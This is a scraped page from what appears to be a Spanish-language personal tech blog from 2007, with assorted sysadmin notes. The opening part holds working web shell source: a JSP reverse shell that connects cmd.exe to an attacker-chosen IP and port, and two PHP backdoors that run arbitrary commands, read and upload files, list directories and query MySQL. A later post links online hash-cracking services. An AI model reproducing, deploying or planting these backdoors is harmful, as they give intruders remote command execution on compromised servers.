osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];
int lenRead;

while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)

try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");

StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());

StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());

outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
%>


simple_backdoor.php
---------------------------------------------------------------------------------------------------------


<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>


php-backdoor.php
---------------------------------------------------------------------------------------------------------


<?
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\

ob_implicit_flush();
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
$file=fopen("$filename","rb");
fpassthru($file);
die;
}
if(isset($_REQUEST['d'])){
$d=$_REQUEST['d'];
echo "<pre>";
if ($handle = opendir("$d")) {
echo "<h2>listing of $d</h2>";
while ($dir = readdir($handle)){
if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
echo "$dir\n";
echo "</font></a>";
}

} else echo "opendir() failed";
closedir($handle);
die ("<hr>");
}
if(isset($_REQUEST['c'])){
echo "<pre>";
system($_REQUEST['c']);
die;
}
if(isset($_REQUEST['upload'])){

if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
else $dir=$_REQUEST['dir'];
$fname=$HTTP_POST_FILES['file_name']['name'];
if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){

$host=$_REQUEST['host'];
$usr=$_REQUEST['usr'];
$passwd=$_REQUEST['passwd'];
$db=$_REQUEST['db'];
$mquery=$_REQUEST['mquery'];
mysql_connect("$host", "$usr", "$passwd") or
die("Could not connect: " . mysql_error());
mysql_select_db("$db");
$result = mysql_query("$mquery");
if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
mysql_free_result($result);
die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir">  <input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>

lunes, 12 de febrero de 2007

FileDisk (montar imagenes raw en windows)

http://www.acc.umu.se/~bosse/filedisk-14.zip

FileDisk is a virtual disk driver for Windows NT/2000/XP that uses one or more files to emulate physical disks. A console application is included that let you dynamically mount and unmount
files. An example of use for this driver is if you have made plans spending the weekend writing
an RAID driver for NT but find you are short of disks. FileDisk can also use CD-images.

Latest news: Works on Windows XP, FileDisk images can be stored on network drives, support for CD-images, support for UNC paths, support for sparse files.

FileDisk can use sparse files as disk images. A sparse file is a file were suficiently large
blocks of zeros isn't allocated disk space. You can create sparse files with the tool
mksparse.zip. To see how much disk space a file actually uses right click on the file and
choose properties. If you for example creates a sparse file of 4GB, mounts it in FileDisk and
formats it to NTFS, it will only take up 24MB on disk but looks like a normal disk of 4GB.

miércoles, 7 de febrero de 2007

BookmarkLet: Mostrar todas las imagenes de un directory listing

Desde: http://www.bigbold.com/snippets/posts/show/364

javascript:function showallimagesindirectory(){var s='test';var dc='<b>Images in: '+location.href+'</b><table border=1>\'font:x-small verdana\'>';for(var i=0;i<document.links.length;i++){s=document.links[i].href;if(s.toUpperCase().lastIndexOf('.JPG')!=-1 || s.toUpperCase().lastIndexOf('.JPEG')!=-1 || s.toUpperCase().lastIndexOf('.GIF')!=-1 || s.toUpperCase().lastIndexOf('.PNG')!=-1){dc+='<tr>';dc+='<td><img src='+s+'>&nbsp;</td>';dc+='</tr>';}}dc+='</table>';var iw=window.open('','iw','');iw.document.open();iw.document.write(dc); iw.document.close();}showallimagesindirectory();

Por cierto, Alt-D selecciona toda la url que haya en la barra de dirección :-)

miércoles, 17 de enero de 2007

Spyware / Malware en general

Lo tipico es conocer spybot y hijackthis...
De un mail de forensic-es:


Puedes utilizar tal como recomiendo en la NNL 32
http://nnlnews.com/32.php
http://www.whatsrunning.net/whatsrunning/main.aspx

Con esta utilidad veras en tiempo real todo lo que este ejecutandose en
tu sistema y podras tomar snapshots del registro de Windows antes y despues
de la infeccion, para luego hacer una comparacion automatica entre los dos y
ver que modifico este malware.

Otra herramienta, pero que muestra el 100% de las cosas ejecutandose y sus
dependencias es:
http://www.gtopala.com/en/siw.exe

Como medida proactiva antes estos episodios, y asi evitar infecciones con
spyware 0day o indetectables, suelo navegar en internet con un usuario sin
privilegios ( invitado ), + Firefox y el sistema actualizado a la fecha.

Espero que te sea util, saludos.

Carlos Tori
www.wedoit.com.ar

jueves, 11 de enero de 2007

defining "DNS Suffix Search List" in /etc/dhcpd.conf

You need to use the "option domain-name" parameter, a la:

option domain-name "domain1.com domain2.net domain3.org";

Don't forget the quote marks around the search domains, and the semi-colon
at the end of the option line.


http://linux.derkeiler.com/Mailing-Lists/RedHat/2005-06/0242.html

lunes, 8 de enero de 2007

cambiar una contraseña en modo no interactivo en HPUX


Para asignarle al usuario "aramosf" la contraseña "123abcdexy", a tener en cuenta que esta contraseña ha de cumplir con los requisitos establecidos por el sistema:

/usr/sam/lbin/usermod.sam -p `echo "123abcdexy"|/usr/lbin/makekey` aramosf


domingo, 7 de enero de 2007

Para crackear cosillas por la cara :/

puede venir bien
http://www.securitystats.com/tools/hashcrack.php
Esta esta mejor:
http://www.passcracking.com/
NUEVO:
http://www.plaintext.info

Para crackear cosillas por la cara :/

puede venir bien
http://www.securitystats.com/tools/hashcrack.php
Esta esta mejor:
http://www.passcracking.com/
NUEVO:
http://www.plaintext.info

jueves, 4 de enero de 2007

Etiquestas para CDs/DVD

Más alla del Cover Designer de Nero, existe MediaFace de Neato: http://www.neato.com/Detail.aspx?SID=1. Bastante más completo y con opciones muy interesantes.